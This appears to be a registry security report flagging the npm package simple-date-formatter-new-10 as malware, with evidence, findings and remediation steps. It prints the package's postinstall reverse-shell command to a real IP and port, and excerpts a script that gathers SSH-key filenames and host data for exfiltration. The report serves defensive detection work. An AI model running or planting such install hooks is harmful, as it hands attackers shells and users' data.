registry / Remote code execution / simple-date-formatter-new-10
simple-date-formatter-new-10
A new date formatting utilit1
This report shows the evidence for simple-date-formatter-new-10@1.0.0, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe install-time reverse shell is concrete, automatic remote command execution unrelated to date formatting. The package is malicious even though its auxiliary collection file is not invoked by the manifest.
Static reason
High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
npm postinstall during package installation
Impact
Remote interactive command execution under the installing user's privileges; potential disclosure of local identity and SSH-key metadata.
Mechanism
reverse shell via sh and /dev/tcp; auxiliary host-data exfiltration code
Attack narrative
Installing the package runs `sh -i` with stdin/stdout/stderr wired to 124.221.154.135:4444, granting the remote endpoint an interactive shell as the installer. Separately, postinstall.js enumerates ~/.ssh public-key filenames, gathers username/platform data, and sends it to 124.221.154.135; it is present but not currently wired to lifecycle execution.
AI rationale
The install-time reverse shell is concrete, automatic remote command execution unrelated to date formatting. The package is malicious even though its auxiliary collection file is not invoked by the manifest.
Evidence
package.jsonpostinstall.jsindex.js.claude/settings.local.json~/.ssh
Network endpoints2
124.221.154.135:4444124.221.154.135:443/post
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json defines an automatic postinstall reverse shell.
- The shell connects to 124.221.154.135:4444 and redirects interactive I/O.
- postinstall.js enumerates ~/.ssh public-key filenames and local user/platform data.
- postinstall.js POSTs collected host data to 124.221.154.135.
Evidence against
- index.js only exports a local date-formatting function.
- postinstall.js is not referenced by the manifest lifecycle script.
Behavioral surface
FilesystemNetwork
Source & flagged code
6 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = sh -i >& /dev/tcp/124.221.154.135/4444 0>&1
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•scripts.postinstall = sh -i >& /dev/tcp/124.221.154.135/4444 0>&1
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkgpostinstall.jsView file
3const os = require('os');
L4: const https = require('https');
L5:
...
L8: try {
L9: const sshDir = path.join(os.homedir(), '.ssh');
L10: // 筛选出 .pub 结尾的文件（通常公钥和私钥成对存在，这里可能是为了规避某些检测或作为标记）
...
L50:
L51: req.write(data);
L52: req.end();
High
Host Fingerprint Exfiltration
Source collects local host identity data and sends it to an external endpoint.
postinstall.jsFindings
1 Critical4 High2 Medium2 Low
CriticalReverse Shellpackage.json#scripts.postinstall
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationpostinstall.js
HighKnown Malware Source Similaritypostinstall.js
HighKnown Malware Source Fingerprint Signaturepostinstall.js
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumNetwork
LowScripts Present
LowFilesystem
Affected versions and remediation
This report applies to simple-date-formatter-new-10@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing simple-date-formatter-new-10@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
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